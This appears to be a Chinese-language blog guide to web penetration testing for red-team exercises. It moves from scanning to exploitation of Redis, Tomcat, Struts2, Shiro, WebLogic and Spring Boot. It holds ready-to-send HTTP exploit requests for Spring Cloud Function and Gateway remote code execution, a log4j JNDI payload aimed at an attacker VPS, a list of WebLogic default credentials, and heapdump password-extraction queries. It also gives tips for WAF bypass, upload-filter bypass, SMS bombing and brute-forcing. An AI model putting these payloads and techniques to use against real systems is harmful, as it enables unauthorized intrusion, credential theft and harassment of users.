前言
1、做渗透由始至终,忌讳穿插其他项目进行
2、按顺序细心测试每一个功能点,保证漏洞无遗漏
3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向
漏扫工具
AWVS
Xray
端口扫描
端口扫描可发现系统开放的端口
21、22、3306 等远程端口,可使用超级弱口令工具或者 railgun 自带模块进行暴力破解
6379 端口可以尝试 redis 未授权,使用计划任务等方式弹 shell
8080 端口可尝试 tomcat 弱口令部署 war 包 getshell
目录扫描
通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透
对于一些 403 的页面,可以进行二级目录扫描
dirsearch
Jsfinder
识别系统使用框架
可通过指纹工具识别出所使用的框架或者产品
Wappalyzer
tidefinger
CMS 二次开发站点
通过目录扫描发现带有 cms 标识残留页面或者通过图标判断出
通过漏洞库查找相关未修复的漏洞
struts2
一般使用 struts2 框架后缀带 do 或 action,可以尝试进行利用
后缀为 action,可能使用了 struts2 框架,使用工具尝试进行利用
命令执行成功
shiro
shiro 框架识别可通过数据包中是否含有 rememberme 字段进行判断
登录抓取数据包,发现存在 rememberme 字段,判断为 shiro 框架,尝试进行
检测当前密钥和利用链是否存在
两者存在利用成功
在攻防演练里 getshell 后还可以对 key 进行修改,防止其他队伍得分
使用潘神的一键改 key 工具,可看到 key 已经被修改
weblogic
框架识别
访问 7001 端口出现下面这种截图,可能存在 weblogic 漏洞
使用 weblogic 漏洞利用工具,检测是否存在漏洞
执行命令
weblogic 弱口令
输入 console 可跳转至登录界面,可以测试是否使用默认口令
system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
springboot
框架识别
1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)
2、通过 springboot 框架默认报错页面
目录扫描接口
推荐章神的 railgun,有对应的 springboot 字典
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。
springboot exploit
目标地址填入要测试的 url,点击检测环境,然后点击检测当前利用链
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口
heapdump 密码获取
/heapdump
/actuator/heapdump
使用 Eclipse Memory Analyzer 进行分析
select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
springboot function spel rce
发送 poc,成功执行命令
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
springboot gateway
添加一个路由
POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新令路由生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
访问触发漏洞
GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
删除路由
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4
工具检测
https://github.com/chaosec2021/CVE-2022-22947-POC
log4j
https://github.com/f0ng/log4j2burpscanner
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}
常见功能点漏洞
SQL 注入挖掘
遇到参数后面带数字的,可以使用 1=1、1=2
判断是否存在 sql 注入
抓取数据包,使用 sqlmap 进行注入测试
测试成功
但在测试过程中可能会遇到被 waf 拦截的情况
可以 fuzz 被拦截的字符,有针对性进行绕过
api 接口账密信息泄露
通过查看系统的 js 文件,检索字段如 id、pass、url 等关键字
接口参数发现
常见于任意文件读取、下载、包含漏洞
arjun+fuzz
知道参数为 file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行 fuzz
敏感信息泄露
通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息
越权漏洞
通过修改 post 数据包字段的数值,可进行越权操作,查看其他用户的个人信息
https://pizz33.github.io/images/image-20220331133121580.png
短信问题
短信轰炸
对数据包进行重放,实现单用户收到多条短信的效果
短信定向转发
对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果
未授权访问
https://github.com/rtcatc/Packer-Fuzzer
文件上传
黑名单过滤 php 后缀,尝试 php3、php5、phtml 等进行绕过
存在文件解析漏洞,比如 apache 的从右往左进行解析,可添加.xxx 进行绕过
fuzz 其他上传接口比如 file、upload、uploadfile 等,可能会存在其他接口不检验的问题,但实战中很少
暴力破解
之前我们一般暴力破解都是以 admin 为账号,去爆破 top1000 的字典,去根据状态码、长度筛选爆破结果
但是 admin 管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找 js 解密耗费时间久,对于 admin 建议尝试几个 admin123、123456 这些,如果没有的话我们应该选择其他的思路,固定密码 123456、000000 去爆破姓名拼音用户名
凑洞环节
后台地址泄露
不安全的 http 请求方式
垃圾数据写入
用户名枚举
中间件版本信息泄露
多点会话登录
暂无评论内容